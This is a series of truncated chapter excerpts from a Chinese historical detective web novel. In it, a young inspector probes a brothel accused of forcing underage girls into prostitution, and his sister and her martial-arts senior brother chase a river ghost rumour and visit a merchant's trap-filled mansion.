纵尚头也不抬,只道:“先打十杖,有力气说话再报上来。” 王五小心翼翼地回:“言公子在外面看着呢……” 纵尚愣了一下,当即丢了折子,起身速速往府衙前厅去,边走边埋怨王五:“为什么不早说!” 王五委屈,只能腹诽,早说您也不听啊。 纵尚到了府衙门口,看见一个穿着还算得体干净的女子跪在地上哭泣。 再看对面茶楼,北寰言贯是双手拢在衣袖里,淡然地望着他。 那眼神就是在告诉他,这案子,你要接还要审。 纵尚哪敢怠慢,立即上前亲自询问那女子来敲登闻鼓,所为何事? 那女子一抬头,看见纵尚,便愣了一下,随即就磕头,哭着说:“求大人为草民做主,草民是从雏凤楼里跑出来的良家妇女。那雏凤楼逼良为娼,从附近的村落抓不满十五岁的女子去楼里伺候人……做的是那样的皮肉生意!小女、小女费劲力气才从那楼里跑出来报官,还请大人为小女做主啊!” 纵尚也是一愣,而后蹙眉,他下意识地去看站在二楼的北寰言,只见北寰言眼眸微微眯起,一脸肃穆。 纵尚怎么也没有想到,在北寰言巡查的时候,在他的地界上能出这么个事。 强抢民女,逼良为娼……还是不满十五岁的幼女。 纵尚顿时脚下一软,没站住。 李浪在一边两忙扶住纵尚:“大人!” 纵尚提起一口气,知道要将功赎罪,立即大喊一声:“升堂——” 府衙升堂不允许关闭府门,所有人都可以围观升堂。 这是东陵国法规定的,意在让百姓监督堂官审案是否公正。 正巧,这女子状告的雏凤楼掌事雪娘先前也被一并带到了府衙。 正好当面锣对面鼓地对账。 那女子看见雪娘立即跟看见鬼了一样,往一边梁柱藏去。 雪娘倒是一脸疑惑,觉得这女子有病。 她掌管着雏凤楼,楼里那么多姑娘,她怎么可能一个一个都记得住? 那女子指着雪娘就开始哭诉:“是她,就是她。是她带我们去见那些贵人的!” 纵尚看南雪娘:“这女子诉你雏凤楼强抢民女、逼良为娼,暗渡幼女进娼门,你认不认?!” 雪娘惊得转头去看那躲在梁柱后面的女子。 那女子接收到雪娘的目光,顿时吓得脸色全无,只敢蜷缩在梁柱后面。 北寰言已经下了楼,到了府衙外,听着堂下的人说话,一贯淡然的脸上竟然有了一丝笑意。 片刻惊讶之后,雪娘又恢复了之前妩媚,她摇着手里的团扇,魅声道:“大人听诉也是要看证据的吧?雪娘不知道怎么得罪这位小娘子了,让这位小娘子在这里往我身上扣屎盆子。” 纵尚觉得雪娘说得有道理,立即看向那女子问:“你可有证据?” 那女子颤颤微微从衣襟里掏出一张纸说:“小女……小女有昨夜去雏凤楼买雏儿的官人的名字,以及他们睡的姑娘花名。” 雪娘闻言,当即过去抓那女子,没一会两人便撕打在一起。 最后那女子咬了雪娘一口,爬起来躲到黄海的身后。 王五上前去把雪娘擒住,不让她动。 < 12. 迷雾 《盛世山河(探案)》全本免费阅读 北寰言深吸一口气,稳住心神。 眼下他手上的线索,只有雏凤楼、雪娘、告状女子、纵尚这四人。 他探查雏凤楼被抓那日,是纵尚留衙役们在府衙吃酒。可纵尚若是幕后指使,他有必要把自己暴露的这么明显吗? 雏凤楼出事,是意料之中。 他们也知道保不住,所以烧了隔壁的院子,让所有证据都化成灰烬。 证据尽毁的情况下,依然有人想把这件事罪责钉死在雪娘身上…… 想到这里,北寰言负手踱步,眉头微微隆起。 雪娘当然不是无辜的,她肯定知道什么。 但,如果去衙门状告雪娘让她担责不是那些人的最终目的。 那,就是她被逼无奈反水,吐出来的话,才是最终目的了? 这么想来。 无论一会儿堂审结束,雪娘说出什么供词来,都是五分真五分假,不能全信。 北寰言站定,仰头,望着天。 有一种被人牵着鼻子走的感觉。 这像是有人给他铺好了一条路,所有的事都在这条路上,引导着他走向一个真相。 也罢。 北寰言想明白了,立即折身往府衙去。 凌信看他忽然转头往回走忙问:“干什么去?” 北寰言答:“案子该审完了。” 等北寰言再回府衙,门口的聚集的人已经散了。 大堂上没人。 北寰言进府衙,门口的衙役们都纷纷低头,问言公子好。 北寰言微微点头,往府衙后院去。 纵尚坐在二厅看着手上的供词与证据,撑着额头,只觉得这事来头不小。 看见北寰言带着凌信进来,他连忙起身迎接:“言公子。” 北寰言走过去问:“审结了?” 纵尚点点头,把手中的堂记递过去。 北寰言接过来,堂记上记载了审案的全过程,最后结果是雪娘抵死不认,说那女子是诬告。 那些名单也不知道是从哪里弄来想要栽赃到她身上,她不服。请求刺史大人明察。 两人争执不下,查案总要有时间,纵尚便惊堂木一拍,说退堂,待查清事实真相再升堂审理。 北寰言盯着这供词,觉得好生奇怪。 似乎事情与他想的方向不太一样? 雪娘抵死不认,要纵尚明察…… 北寰言眸光清冽,侧头望向纵尚:“这事,跟纵大人有没有关系?” 纵尚哪里敢担这个罪名,当即站起来屈身作揖:“言公子可不敢这样说!” 北寰言轻轻地把供词放在一边,睨着纵尚:“如果纵大人不想我怀疑你,那就请大人给我解释下,为什么昨日夜里,您把府衙所有的人留下吃酒的事罢?好巧不巧,我刚到雏凤楼,就有人杀人来栽赃我。而纵大人身边的衙役刚好都在,把雏凤楼围了个水泄不通。我不欲声张跟着衙役到了大牢。只是一夜的功夫,那雏凤楼边上的一座大宅院,十栋楼全部被烧为灰烬。若不是纵大人从中帮衬,今天这事也不会悬而不决。” 纵尚站不住了,“噗通”一声跪下:“昨晚确实是我孙子的满月酒啊!这事言公子去查,街坊邻里的都知道!不然下官把那几个接生的稳婆请来,让公子一一查问!” 北寰言盯着纵尚看了许久,道:“纵大人起来吧,我在朝没有官职,只是一个特封的巡察使,没有品阶。您不必跪我。倒是你说的请稳婆来问一问这事,我看行。” 满月酒这事,早几天晚几天的都没人会细细算。 如果纵尚真跟这事有关联,只要他们家真的有生孩子这事,他就可以顺理成章的办满月酒。 纵尚没想到北寰言怀疑到自己身上自己。 北寰言不仅怀疑,还有一副势必要查到底的样子。 纵尚为了力证自己清白当即站起身,让身边衙役去找当时去纵府给儿媳妇接生的那几个稳婆。 北寰言坐在厅里喝着茶。 凌信无聊在院子里来回踱步。 北寰言不让纵尚跪,他站着膝盖也软。他只能远远地坐在案牍前,假意看案牍上呈报上来的各县折子,平心静气。 没一会儿出去找稳婆的衙役回来了。 他一路小跑进了二厅,要覆在纵尚耳边说事。 纵尚当即把他挡开说:“就在这说!” 那衙役低头,道:“稳婆都不见了……” “!!!” 纵尚当即腿一软,从椅子上溜下来。 衙役见状连忙上去搀扶:“大人!” 纵尚顿时觉得大祸临头,扑到北寰言身边。 北寰言站起身,一把把纵尚扶住:“纵大人,我说了您不必跪我。” 北寰言手上有劲,托着纵尚不让他再跪。 可纵尚浑身无力,哭丧着脸争辩:“真的不是我,言公子你要信我啊!” 北寰言负手低头,踱了几步,回眸问纵尚:“定在昨日摆酒,是谁的主意?” 纵尚愣愣地回答:“这是内府的事,都是内子与儿媳做主。” 北寰言望着他,希望他能领悟出来一点意思——摆席这事,早一天晚一天也不打紧,主要是图个热闹。 但,偏偏在他们进沁春城的那日摆,这就不是图个热闹那么简单了。 纵尚只是懵了一下,立即反应过来:“我这就回去查问,到底是谁怂恿内子与儿媳昨日摆酒的!” 北寰言没有制止,他的眸光不知道落在哪里,思绪转得飞快。 看纵尚这幅吃惊的样子——他是被人利用了? 北寰言眼眸微眯,心思转了几转,可雏凤楼逼幼女为娼这事到底是在他的管辖之内,他真的没听说? 北寰舞说昨日在场还有几位县令与南境其他州刺史,总不能其他州县沆瀣一气,独独把纵尚漏掉了? 还是,稳婆的事,是纵尚故意说给他听的,想借此机会洗清自己嫌疑? 这里的事真真假假,似乎没有头绪可言。 无论正着想反着想,好像都能想得通。 北寰言转身对纵尚道:“纵大人忙你的公务罢,我随便走走。” 纵尚看北寰言不再说话,直直出了府衙,才一屁股坐在凳子上。 北寰言再出府衙的时候,已经快到晌午。 凌信跟在后面只觉得日头晒人。 “你去哪啊?这么大太阳的,晒死了。”凌信跟在后面小声嘀咕。 北寰言回头看他:“我们买把伞?” 凌信连忙摇头:“我一大男人,打什么 13. 难处 《盛世山河(探案)》全本免费阅读 凌信望着北寰言,他甚少有这种焦躁不安的样子。 “怎么?沁春城的事很难查吗?” 北寰言摇头:“所有的事都有头绪,我只是在想为什么。” “什么为什么?”凌信不解。 北寰言道:“我不知道陛下得知了什么消息,才让我来走这一趟。但可以肯定是,这事是早有预谋。而且……” 北寰言深吸一口气,没往下说,目光又落在沁春城街道上,神情凝重。 凌信见他不想说,急得追问:“而且什么?” 北寰言垂眸。 凌信见北寰言有意遮掩,顿时就不高兴了:“难不成你现在查案子,要连我一起瞒着不成?我俩从小一起长大,你有必要防着我?” “我不是防着你,而是……”北寰言盯着凌信,一声轻叹,“我总有感觉这事,是冲着我来的。亦或者,是安王府。不然……也不会选在这个地方。” 凌信张了张嘴,到底是没说出话来。 他顺着北寰言思路去想,大概想明白北寰言说的是什么意思。 一定是陛下知道了什么事,不好出面,才想着让北寰言来做。 但北寰言身份在朝中及其特殊。 他的存在,本身对于陛下、对于整个朝廷、整个东陵来说,就是一个巨大的威胁。 北寰言的父亲是东陵帝国正一品亲王,安王,许安归。母亲是北寰将军府二小姐,北寰洛。 北寰言与北寰舞本应该出生就有世子与郡主的品级,却因随了母姓而无法受封。 这是他父亲许安归的意思。 他的父辈经历了惨烈的四龙夺嫡—— 前太子许安泽在东宫自焚。 前四皇子,许安归的亲哥哥、清王殿下许安桐被解家逼得去当了监国,最后死在安王许安归的眼前。 而北寰言的母亲北寰洛,则是因为朝东门一案全家被灭。 他们那一辈的人为了皇位,付出了太多无辜的生命,延续了许多莫须有的憎恶。 好似只要与皇位沾染上的人,都会变得不幸。 北寰言与北寰舞的父亲不想他们最后跟他与兄长那样手足相残,这才不让他们继承皇姓。 可不曾想,当今陛下许景挚继承皇位之后,亲自上暮云峰说服了许安归与北寰洛,让他们把孩子送入许都,拜在太傅临允门下学习。 只因北寰言的母亲曾经欠许景挚一条命,所以许景挚提出让北寰言去许都学习这件事,北寰言的母亲没有反对。 这才有后来北寰言十二岁便三元及第的事。 世人都说,明面上好似是许景挚亲自去暮云峰接回北寰言,想让他入仕,改回许姓,继承太子之位。 其实是许景挚为了坐稳皇位,挟制安王的一种手段。 北寰言在许都,是质子。 是许景挚拿来要挟安王府的一个把柄。 毕竟以当年许安归的实力,若是他想当东陵帝君,以他之智,以他之势,志在必得。 那段历史,惊心动魄。 只有经历过的人才知道当时凶险。 如今史官们记载在史册上的,只是当今陛下许景挚得皇兄下诏传位,继承皇位,名正言顺的记录。 而在民间野史里的记载远比史册上的故事更耐人寻味。 有野史说,当今陛下是对北寰家二小姐有情,这才要接回她的儿子,想要把世上最好的东西都给他。 这是爱屋及乌。 还有野史说,当今陛下许景挚其实有龙阳之好,喜欢长相出挑的娈童。 而北寰言正是继承了安王殿下的绝世容颜,这才得了许景挚的青睐。 关于许景挚有龙阳之好这事,天下皆知。 因为他宠信一个内官,并把自己名字里的一个字,赐给这个内官,给这个内官当姓。 而这名内官,就是眼下带了一千御林军驻守在沁春城的大内官,景雀。 不仅如此,许景挚还准景雀人前人后以“我”自居,不必屈尊降贵,自轻自贱。 对于北寰言与许景挚之间的关系,还有猜得更离谱的。 有说北寰言其实就是许景挚的儿子。 当年北寰洛离开许都的时候,其实早就已经跟许景挚珠胎暗结。 这些野史,从来都是供人们茶余饭后闲聊的谈资。 只有从小跟北寰言一起长大的凌信知道,为什么北寰言的存在对于许景挚来说是一个巨大的威胁。 安王殿下虽然常年隐居在暮云峰,但他与南境五州节度使裴渊有恩,裴渊一直记得当年许安归对他们的救命之恩。 北境六州节度使陈平又是当年跟着安王一起出征岩州城战役的副将。 当年安王从乌族手上夺回北境两州回都复命,与自己的亲哥哥剑拔弩张。陈家两兄弟就有助安王起势之心。 眼下陈家大哥陈平封北境六州节度使,为封疆大吏。陈家小儿子陈松眼下统领禁军,掌管许都城防。 陵中储备军统帅又是安王当年身边四亲卫之一的镇东。 现在东陵这些掌握兵权的人,或多或少都与北寰言的父亲,安王殿下私交甚好。 许安归敢让自己的儿子入许都,也正是因为只要他愿意,就有重新起势的能力。 偏偏北寰言早慧,跟着帝师临允学习八年便已经三元及第无能人及。小小年纪就进了翰林院,成为翰林学士。 北寰言十二岁便成了新科状元,进入翰林院这件事,在朝野上下都有微辞。 不少人说,北寰言有太子之相。 许景挚今年还未到四十,膝下已有五个皇子。 有北寰言这等天才少年在前,许景挚自己的那几个儿子根本不够看。 许景挚最大的儿子与北寰言同岁,无论是学识还是模样,都比北寰言差了不是一点半点。 但奇怪的是朝堂上,无人敢跟许景挚提起立太子一事。 当年四龙夺嫡之事在前,许景挚夺皇位的时候手段惊人,杀伐果决,那是一次让所有人都猜不到的惊天逆转。 现任的三省六部长官都是永承年间的官员,他们都经历过许景挚夺嫡。 当时的情况是—— 清王监国手握朝廷六部,掌握国政。 安王北伐乌族,手握北境军三十万大军,掌握兵权。 大家都以为皇位是清、安两王之争,不曾想最后继承皇位竟然是许景挚。 即便是三省六部这些宦海沉浮了几十年的老狐狸们也没有一个人参透许景挚的谋局。 谁都没有想明白许景挚是怎么蹬上皇位的。 所以,许都的老狐狸们都觉得,许景挚把北寰言从暮云峰接回来,养在眼跟前当一个闲散公子, 14. 女鬼 《盛世山河(探案)》全本免费阅读 北寰言温声道:“我不想你跟着我出什么事。” 凌信回头,嚷着:“那我就希望你一个人出什么事?你这状元白考了!那么聪明一个人怎么在这事上不开窍?我要因为这事凶险,就把你一个人丢在许都,自己回了暮云峰,我这辈子都瞧不起我自己。我也不用在江湖上混了!” “我有能力保护自己……” 北寰言伸筷子去夹了一块炸浍鱼,放到碗里递给凌信,企图岔开话题:“这个看着就很好吃。” “不吃!” 凌信气鼓鼓地转了个身子,抱着手。 北寰言又挪过去一点:“生气也要吃饭,不然哪有力气跟我生气……” “看见你气都气饱了!”凌信鼓着嘴。 “不就是跟你商量,”北寰言把碗放在凌信桌前,小声道,“也没说一定要让你回去,哪来这么大气性。” “嗯?” 凌信见他松了口,这才回头看北寰言。 “我怕你们因为我出事,”北寰言一声轻叹,“我难心安。” 他垂眸,话语里带着许多无奈:“我这个身份,跟谁在一起,若是出事,那都是要身家性命的事。” “没事!如果真出什么事,我爹娘,你爹娘都会来救我们的!”凌信当即打起精神。 他根本就不在乎跟着北寰言,他自己会不会出事。 对于北寰言,凌信从不记仇。 北寰言蜷缩在衣袖的手,缓缓锁紧。 他早就知道凌信根本赶不走,但他还是要说。 凌信从小跟他一起长大,凌信的性子他怎么可能不了解? 只是他也才十四岁,涉世未深,不可能事事都处理得很好。他第一次独自面对这么大的事,这么大的局,也会感到不安。 但凌信的态度,就是一根定在了北寰言心里的定海神针。 只要凌信不怕,他便也没了顾虑。 正如他所言,他这个身份跟谁在一起,若是出事,都是有关生死。 他若不想自己的兄弟、妹妹、师兄、父母都在这场谋算里折掉,他就要竭尽全力、小心翼翼地跟这些人周旋。 “用饭罢,”北寰言拿起筷子,“再不吃就凉了。” 凌信见他眼眸里有什么东西逐渐沉淀下来,变得深沉,便也不再多话。 夹起碗里的炸浍鱼就是一口,嘴里还没嚼完,就道:“好吃!” 北寰言的规矩,是宫里教导皇子的嬷嬷来教的。吃饭的时候基本不说话,他只是望着凌信,浅浅一笑。 兄弟之间哪需要那么多话来解释。 他若在,他跟着护着,这便是情义。 * 北寰舞与时均白在茶馆里小坐片刻,就继续出去闲逛。 他们沿街听着路边百姓闲话。 真是巧,他们一路走过去,听到最多的话闲话就是最近护城河闹女鬼的事。 北寰舞往时均白身边靠了靠,小声说:“最近城里到处都在说护城河闹女鬼的事……” 时均白看着坐在沿街小铺子里闲聊的百姓,心不在焉地“嗯”了一声。 北寰舞越想越觉得背心发凉,鸡皮疙瘩起了一身,她忍不住拉住时均白的衣袖:“师、师兄……我昨天晚上……在护城河里待了一夜……” 说完她就紧紧地抱住了时均白的胳膊。 时均白在想别的事,觉得往前走有些困难,才反应过来是北寰舞拖住了他。 “什么?”时均白问。 北寰舞眼睛里噙满了泪,水汪汪的:“我昨天晚上在护城河里待了一夜啊……” 时均白望着她,不知道她是胆子大,还是反射弧长,昨天晚上在河里待了一夜不知道怕,现在事过了听别人说才知道怕? 怕得拖着他根本走不动路。 时均白忍着笑:“我也在跟你一起在河里游过啊?而且——就算是有女鬼,白天也不会出来。那会你贪河里凉快,说什么都要在河里待着,现在后悔了?” 北寰舞翻了时均白一眼,但心里还是觉得膈应。 她忍不住想,自己身上会不会已经沾上了什么不干净的东西。 她道:“你们家祖上不是、不是盗墓的吗?你身上就没有什么可以辟邪的东西借我用用?” 时均白想着昨天晚上她夜闯雏凤楼都不害怕,今天因为市井流言怕得想拜佛,就觉得好笑。 辟邪的东西…… 还真有。 时均白从衣襟里摸出那块血玉:“听我爹说,这个辟邪……” 北寰舞二话不说就抢了过来:“借我戴戴!” 这血玉牌不大,只有拇指大小。 玉牌雕工精细,周围一圈刻着一条盘踞的虺。 中间刻着“时”字。 上面串了一根红线,是常年戴在脖子上挂饰。 时均白为了易容不漏破绽,这才把这血玉牌取了下来。 北寰舞现在心里毛躁躁的,她也不管时均白这块牌子是不是时家传家玉牌,只要是能辟邪,她都戴。 时均白看着自己贴身戴了好几年的玉牌挂在了北寰舞的脖子上,被她藏到了衣襟里,瞬间耳鬓染了红。 北寰舞见他薄唇紧抿,依依不舍地望着那牌子,连忙安慰道:“我知道这是你们家传家之宝,我会保护好它的!” 时均白欲言又止,最后只小声道:“那东西,不能弄丢了。” 北寰舞连连点头,心想,时家修建皇墓,他们家的辟邪之物,肯定比什么都管用。 “哎——这位公子。”时均白微微侧目,冷不防拦住一个白面书生。 那书生看见时均白与北寰舞穿着得体,便欠身一礼。 时均白也是一礼,问:“方才我听公子说,在这护城河边看见了红衣女鬼?” 那书生一听见时均白问这事,当即脸色微白。 时均白又道:“公子可否跟我说一说?” 书生一脸狐疑地盯着时均白。 时均白立即把北寰舞揽过来,一脸担忧:“公子,是这样的——舍妹最近总是魂不守舍,睡不安稳。爹娘找了道人来家里看。道人说舍妹恐是被不洁的东西摄了魂魄,需要找到被摄魂的地方才有办法招魂。” 北寰舞听时均白如此说,立即回过 15. 少年人 《盛世山河(探案)》全本免费阅读 时均白知道自己不对,坐起来也不还手,任由她打。 “你!”北寰舞气得眼泪直掉,“哪有你这样吓人的!你烦人!你!” 时均白连忙抓住北寰舞的手腕,忙道:“别打了,都受伤了还打。我错了我错了!别打了!” 北寰舞不解气,手被时均白抓住,直拿头撞时均白的胸口:“你烦人!你烦人!” 北寰舞跟一只小野猫一样在时均白怀里用头乱顶,还想用爪子抓他。 时均白抓住她,连连道歉:“我错了,我错了,别打了。我帮你把手上的伤处理下。” “不用你操心!”北寰舞气得甩开他,站起身要走。 时均白连忙爬起来,追上去:“师妹,我错了。真的知道错了。别闹了,手出血了,我帮你把手上点药。听话!” 北寰舞不理他。 时均白拉起她小手,哄道:“别动,给我看看……” 北寰舞侧着身子,不看他。 时均白看她手掌蹭破的地方口子很深,大约是蹭到地上石头尖了,不知道肉里面有没有嵌入石子。 时均白蹙起眉:“对不起,我就是想逗逗你。” “哼!” 北寰舞想要抽回手,时均白不让,语气变得严厉起来:“别动,口子很深,不知道里面有没有东西,我们找个地方坐,先把你手处理了。听话!” 时均白拉着她,坐在河岸边树木花坛石沿上。 “坐好。” 时均白让北寰舞坐在上面,自己单膝跪下,从随身携带的小锦袋里拿出几个小药瓶与纱布。 他把纱布递给北寰舞,放在她腿上。 自己拿了一块纱布,小心翼翼地沾着北寰舞手掌上的血。 她的手真小啊……只有他手掌一半大。 时均白第一次这样近距离的看一个姑娘的手。 不仅小,还很软。 手掌的颜色粉白.粉白的,大约是年纪小还没长开的缘故,手指到指腹都还是圆滚滚的模样。 握在手里的手背也是柔柔软软的。 手指甲不长,剪得整整齐齐的。手腕上带着一个嵌着玉花的银镯子。衣袖滑在小臂上,顺着衣袖,能看见她如藕一般的带着婴儿肥的手臂。 静下心来,时均白才闻见北寰舞身上一直都有一股淡淡的香气。 时均白瞥见北寰舞戴在脖子上那根红绳…… 顿时心绪乱了。 “嘶……” 北寰舞疼得手一抽,眼睛里眼泪盈着,一脸怨恨地盯着时均白。 “我轻点……” 时均白立即回神,强迫自己不走神,更小心地帮她清理伤口。 多么好看的手啊,因为他一时兴起,划了这么深一道口子。 时均白满是风流的眉眼处,敛了些倜傥不羁,多了几分心疼。 还好里面没有进小石子。 时均白轻轻地上好药,用纱布把北寰舞的手缠好。 他原先没跟小姑娘在一起相处过,现下跟北寰舞在一起才发觉,原来女子都这样纤细。 北寰舞的眼睛长得像她母亲。这样委屈巴巴地蹲坐在那里,眼睛睁得圆圆的,梨花带雨,像极了瓷娃娃,一碰就碎。 时均白帮她缠好,轻吐出一口气:“对不起,以后再也不会这样吓你了。” 北寰舞性子虽然被宠得骄纵了些,却也不是蛮不讲理。 她见时均白本一贯挂着温笑的眉梢多了一些愁,便知道他是真的懊恼。 “没事。”北寰舞小声说,“我不记仇,肯定不会报复你的。” 时均白没忍住,侧过头去,笑了起来。 只是这一笑,就让城河上的光,都黯然失色。 北寰舞盯着时均白,看得出神。 时均白笑够了才回头,轻轻地拍了一下她的小手:“你知道你这叫什么吗?” “什么?”北寰舞眨了眨眼睛。 “此地无银三百两!” 时均白大概有点了解北寰舞了。 “你胡说!”北寰舞像是被人揭穿了心思,恼羞成怒,倏地站起来,“我、我才没有!” 时均白也跟着站起来,敛了笑意,目光落在这护城河上,轻声道:“这河肯定有问题,我们还需要再探一次。” 北寰舞也看向这河:“哥哥一来这沁春城,就往雏凤楼去了。雏凤楼边上的宅子被毁,附近又闹女鬼,肯定事有蹊跷。陛下让景内官带着圣旨来南境,哥哥想暗中调查是不可能了。这些事只能我们来做。” “白日里调查这些太引人注目,我们还是晚上走一趟吧?”时均白侧目去看北寰舞。 北寰舞抿了抿小嘴,点头道:“好。眼下我们还有一件事要去问问沁春城宁远银号的大掌柜。” 时均白点头:“走。” * 沁春城里只有一家银号在宁远商号名下。 早些年因为支持北境战事,宁远商号卖掉了大部分南境的产业。现在,背靠宁远商号的宁远银号是东陵帝国信誉最好的银号之一。 宁远商号现在是皇商,有皇家作保,名下其他生意自然是生意兴隆。 沁春城的宁远银号在城西集市口,离北寰舞他们所在的位置不远。 两人在街上溜达闲逛,一路走到宁远银号。 马上就要到午正,街上日头足,又是午饭时间,银号里没人。 只有伙计在柜台算账。 那伙计看见有两个衣着光鲜的公子小姐来,脸上立即堆起了笑脸,从柜台里出来迎了上去。 “二位……” 伙计话还没说完,就看见那姑娘从衣袖里掏出一个珈蓝香木制成的牌子。 那牌子做工细致,中间雕刻了一个“宁”字。 小姑娘朱唇轻启:“我要见掌柜。” 伙计不敢怠慢,立即把两人引到后厅。 “二位且等等,容小人去回禀一声。”那伙计躬身一礼,立即去了二厅。 后厅有侍女端来茶水,放在桌上。 没多久便有急促的脚步声传来。 一个中年男子带着伙计从后二厅撩帘而入。 看见两个少年人,脚步稍稍顿了下,立即上前躬身行礼:“沁春城宁远银号掌柜谢舟,见过小主子。” 北寰舞正看花厅里的摆设,听见谢舟来问礼,回眸嫣然一笑:“谢掌柜不用多礼。” 谢舟又向时均白一礼,时均白点头,谢过。 北寰舞走上前,拎起茶水盖,用手指沾了一点水,在桌上写了什么,道:“今日来是有事,还要劳烦谢掌柜帮我注意一下 16. 宁府 《盛世山河(探案)》全本免费阅读 他兴冲冲地回自己屋里,把自己经常用的小玩意都收拾了下,便下山到沁春城门口等北寰双子。 凌信与凌乐师叔长得很像。 一头短发,后面还扎着一根小编,腰上带着飘渺剑,一副少年人盛气凌人的样子,极其好认。 时均白躺在树上逗鸟玩儿,远远地便看见凌信驱车而来。本想直接上去打招呼,却发觉马车里只坐了一个人。 不对啊,不是两个人一起来的吗? 怎么现在少了一个? 他当即就察觉这事不对,于是放了鸟儿,坐起身,眼睛一直盯着凌信的马车,悄无声息地一路跟着。 他跟着马车的时候发觉还有许多气息徘徊在北寰言的周围,北寰言与凌信被人跟踪了,他这样冒然过去接触可能会出现什么不可预知的变故。 于是时均白决定一路跟着北寰言的马车,看看情况,在旁做策应。 不想北寰言没跟到,在雏凤楼里遇见了北寰舞。 “到了。”北寰舞指着门楣。 时均白从思绪里抽离,看向门楣,这大门外面修得极其秀雅低调,灰墙黑瓦,门口甚至没放镇宅的狮子,院墙一眼望不到头。 门楣之上赫然写着“宁宅”。 “这是……”时均白想着,“宁叔的宅子?” 北寰舞嗯了一声,两步跃上前去扣门。 这门不宽,不仔细看像是角门。 来开门的是一个大约十岁的孩童。 北寰舞看见他,一脸高兴:“咦,你长高不少了呀,小平安。” 那叫平安的少年看上去很是腼腆,他扶着门,老老实实地叫了一声:“舞姐姐。” 说着他便把门让开了。 北寰舞回头看时均白:“走啊。愣什么?” 时均白这才回过神,连忙跟着北寰舞进了宅子。 进了宅子,时均白才知道东陵第一皇商家宅奢靡的程度。在外面看不出来,进来以后绕过一座绿影壁,才看得见宁宅里面的样子。 时均白祖上盗墓起家,时家的产业之一便是古董行。 鉴赏古玩珍宝是他的必修课。 眼下看见一座碧绿色影壁,眼睛都看直了。 他走上前去摸了摸,这整面墙都是用绿矾石雕刻而成。 绿矾石这东西本身就产量稀少,要凑成长约八丈,高约两丈,厚约六寸的影壁。这已经不是贵不贵的问题,而是弄得到弄不到的问题。 一般富商家里喜欢摆一些寻常人都认识的名贵物件,比如翡翠玉器、名家字画、以及珍奇树木,向外人炫富。 可到了宁弘这样的皇商这儿,他们便是喜欢弄一些寻常人不认识且稀有难搞、需要消耗大量人力物力才能弄到的东西。 这个绿影壁就是这样一件东西。 有这样一件东西立在门口,时均白已经能想象得出这外表看似普通的“宁宅”内里到底有着怎样奢华装饰。 时均白望着这绿影壁,暗暗感慨,这才是真正的富可敌国啊…… “小平安,你们用过饭了吗?”北寰舞蹦蹦哒哒地往里面走,一边问平安。 平安不高兴地嘟着嘴:“我不小了。都十一岁了。” 北寰舞才不管他,按住他的脑袋:“比我小,你就是小平安!” 平安被北寰舞按得难受,也不知道躲,他老老实实被按着头,带北寰舞往膳厅去:“摆饭了,还没用饭。不知道你们会来,都是我们平日里吃的饭菜。” 北寰舞不在意这个,笑道:“那我现在告诉你,我最近都要住在这里,让膳房多准备些东西,我要吃好吃的!” 平安点点头:“那我一会儿儿去跟膳房交代。” 时均白跟在后面,缓步而行。 这宁府里面全是九曲回廊,比一般宅子构建复杂很多。 他一眼扫过去,不经觉得奇怪——许多建筑建造得不符合风水。 府里用来建造的石材与木料看起来都不像是东陵产物,有些来自于西域,有些则是来自于海上。 这地方…… 时均白思忖片刻,快走两步追上北寰舞:“这宅子里是不是有很多机括?” 北寰舞回眸看他:“你看出来了?” 时均白道:“像宁叔这么大的皇商,应该是很重视家宅风水的。但这宅子跟一般宅子建得不太一样。很多重复构建的地方,有点像是用鬼门渊的阵法建造的。” 北寰舞挑眉点点头,笑道:“这宅子在宁叔名下,却是我爹爹买的,我娘设计,找你们家工匠修的。” 难怪。 时均白觉得这宅子构建有点眼熟。 北寰舞这么一说他基本明白这宅子的蹊跷之处了。 这宅子比一般宅子要安全得多。 因为地面上有阵法,地面下有暗道。 一眼望去,这宅子占地面积极广,依山而建,泊湖而居。 恐怕那山里,那湖下都有道路。 而这些看在时均白眼里与家宅风水布局不相符的地方,多半都是可以触发的机括。 住在这里确实很安全。 这宅子虽然没有按照规制建造,但里面风景独好。 红木搭建的长廊蜿蜒而去,消失在葳蕤林木之后。这院子走到哪里都有树荫遮蔽,凉风穿堂。 楼宇殿阁全都藏在林木之后,看不到全貌。只看见黑檐白墙。 再往远处看,春亭静立,水光斑斓。 脚下白石板铺的道路两侧种有大量的红色鬼魅鸢,这是暮云峰上鬼门渊一脉培养出来的幻花。香气淡纯,跟鬼门渊独门粉末搭配便可以使闻到这香味的人制幻。 这宅子面上建得纯雅,实则步步机关。 白日里有人,这宅子里的所有机括触发全部停止。可一到夜晚,打开机括触发的总闸。这院子便是有去无回的人间地狱。 平安带着北寰舞时均白走过一道小门,上了一座小石桥,上到了湖水上的九曲回廊,继续往院子深处走。 南境气候温和,即便是已经入了秋,依然感受不到凉意。回廊边小石岛上有花枝盘伸进回廊。 时均白推枝低头,粉色花瓣落了他一身,惹了些许年少风流在身上。 北寰舞走两步觉得廊边白色芍药开得正好,顺手折走一只,插在鬓发里,娇艳美丽藏都藏不住。 再转过一道弯,就看见了一间屋子。 17. 故人 《盛世山河(探案)》全本免费阅读 时均白伸手:“平伯!吃完饭再安排……” 平伯已经走远了,没听见他说话。 北寰舞抱着碗,扒了一口饭,嘴里鼓嘟嘟地说:“没事由他去罢。我们吃慢点,吃完他们就把屋子准备好了。” 时均白睨了一眼北寰舞,也不知道她这个大小姐脾气是谁惯出来的。 * 北寰言跟凌信在浍楼用完饭,外面日头正盛。 凌信不想走路,便让店小二给他们喊了一辆马车来,把他们俩带回驿馆休息。 再回驿馆的时候,他俩的屋子变了样。 景雀在两张床榻上垫了厚厚一层褥子,把棉麻布料的被子换成了锦缎。屋里各处也装上的帘子遮光。还在屋里摆了些古董,花瓶里插上了鲜花,地上铺上了毯子。 净房被屏风隔了出来。 屋里点了熏香。 驿馆东苑已经被景雀带来的御林军把守轮值,里三层外三层围得跟皇城里一样密不透风。 北寰言进屋,景雀立即恭敬地端上两碗茶。 “景叔……”北寰言耳鬓微红,低声道,“这不是宫里,您不必这样鞍前马后。在太傅府我身边也没多少下人,我不需要人伺候。” 景雀却笑着说:“公子这是嫌弃我了?” 北寰言蹙眉不语。 景雀知道北寰言从来没有把他当过下人,可他母亲与他有恩。他心里想着无法报给他母亲,报给她孩子也是好的。 景雀把茶碗送到北寰言手里,颔首道:“公子这次出来,事情千头万绪。我帮不上什么忙,只能在生活上照顾公子,尽点绵薄之力。我一直替陛下打理内务,对内务的事情比公子熟。再者这次陛下允我跟着公子出来,也是想着让公子专心查案子。公子不用管我,我尽我所能照顾好公子与凌小公子的起居。公子只管忙自己的便是。” 